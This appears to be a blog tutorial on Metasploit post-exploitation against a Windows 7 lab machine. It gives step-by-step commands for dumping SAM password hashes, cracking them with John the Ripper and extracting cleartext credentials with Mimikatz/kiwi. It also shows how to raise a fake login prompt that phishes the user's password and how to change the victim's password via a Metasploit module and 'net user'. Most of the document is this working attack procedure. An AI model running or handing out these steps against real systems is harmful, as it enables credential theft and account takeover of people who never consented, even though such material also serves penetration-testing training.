Post Exploitation for Remote Windows Password

In this article you will leran how to extract Windows users password and change extracted password using metasploit framework. 

Here you need to exploit target machine once to obtain meterpreter session and then bypass UAC for admin privilege.
Requirement:
Attacker: kali Linux
Target: windows 7

 Let’s Begin

Extracting User Account Password

1st method

 So when your get meterpreter session of target system then follows given below steps:  
Execute given below command which will dump Hash value of all saved password of all windows users as shown in given below image.

meterpreter> hashdump


Now copy all hash value in a text file as shown below and save it. I had saved it as hash.txt on the desktop. It contains hash value of 4 users with SID value as 500: Administrator; 501: Guest; 1001: Penetst; 1000: Raj with their hash password.

Run your capture session in background:
meterpreter > background


Now a new terminal and use john the ripper to crack the hash by executing given below command:
john --wordlist=/root/Desktop/pass.txt --format=NT /root/Desktop/hashes.txt

/root/Desktop/pass.txt contain path of your password dictionary
/root/Desktop/hashes.txt contain path of hash password value
From given below image you can confirm we had successfully retrieved the password: 123 for user: raj by cracking its hash value.


2nd Method
This module will dump the local user accounts from the SAM database using the registry.

use post/windows/gather/hashdump
msf post(hashdump) > set session 2
msf post(hashdump) > exploit

From given below image you can observe again we obtained hash value for local user account, repeat above step to crack these value using john the ripper.

If you will notice the highlighted text then you will observe that it has capture password hint for user RAJ: “first three digits”


3rd Method

This will dump local accounts from the SAM Database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host.

use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > set session 2
msf post(smart_hashdump) > exploit


From given below image you can observe again we obtained hash value for RAJ and Administrator account, repeat above step to crack these value using john the ripper. Moreover it has capture same password hint for User Raj.


4th Method
This module harvests credentials found on the host and stores them in the database.

use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > set sessions 2
msf post(credential_collector) > exploit

This exploit also work in same manner and dump the hash value for local user account as shown in given below image, repeat above step to crack these value using john the ripper.


This module will collect clear text Single Sign On credentials from the Local Security Authority using the Mimikatz extension. Blank passwords will not be stored in the database.

use post/windows/gather/credentials/sso   
msf post(sso) > set sessions 2
msf post(sso) > exploit

This exploit will dump clear text password of login user as shown in given below image user: raj and password: 123

6th Method
At meterpereter session we can enable option “kiwi” which work similarly as “mimikatz” in windows, execute given below command: 
meterprerter > load kiwi


Now run following command which will extract all saved credential of local user account as shown in given below image, here also we had successfully  retrieve  password: 123 of user: raj
meterpreter > cred all


This module is able to perform a phishing attack on the target by popping up a login prompt. When the user fills credentials in the login prompt, the credentials will be sent to the attacker. The module is able to monitor for new processes and popup a login prompt when a specific process is starting.

use post/windows/gather/phish_windows_credentials
 msf post(phish_windows_credentials) > set session 2
msf post(phish_windows_credentials) > exploit

As define above it will launch fake login prompt which will appear genuine to victim on his logon screen and wait for user to his credential.




From given below image you can observe the sniff credential for user raj. It saved username, domain and password in a table.


Change password of victims system
1st Method
This module will attempt to change the password of the targeted account. The typical usage is to change a newly created account's password on a remote host to avoid the error, 'System error 1907 has occurred,' which is caused when the account policy enforces a password change before the next login.

use post/windows/manage/change_password
msf post(change_password) > set smbuser raj
msf post(change_password) > set old_password 123
msf post(change_password) > set new_password 987
msf post(change_password) > set session 1
msf post(change_password) > exploit

Since after knowing logging user “raj” password you can easily change his password by exploiting above command. From given below image you can observe we had change password 123 into 987.


2nd Method
As we known meterepreter itself is a set of various options for post exploits it allows attacker to open command prompt of victims system without his permission by executing shell command as given below.
meterepreter> shell
net user
net user raj 123

Hence in 1st method we had change password into 987 from 123 and now again in 2nd method we had change password from 987 to 123 using simple CMD net user command as shown in given below command.

0 comments:

Post a Comment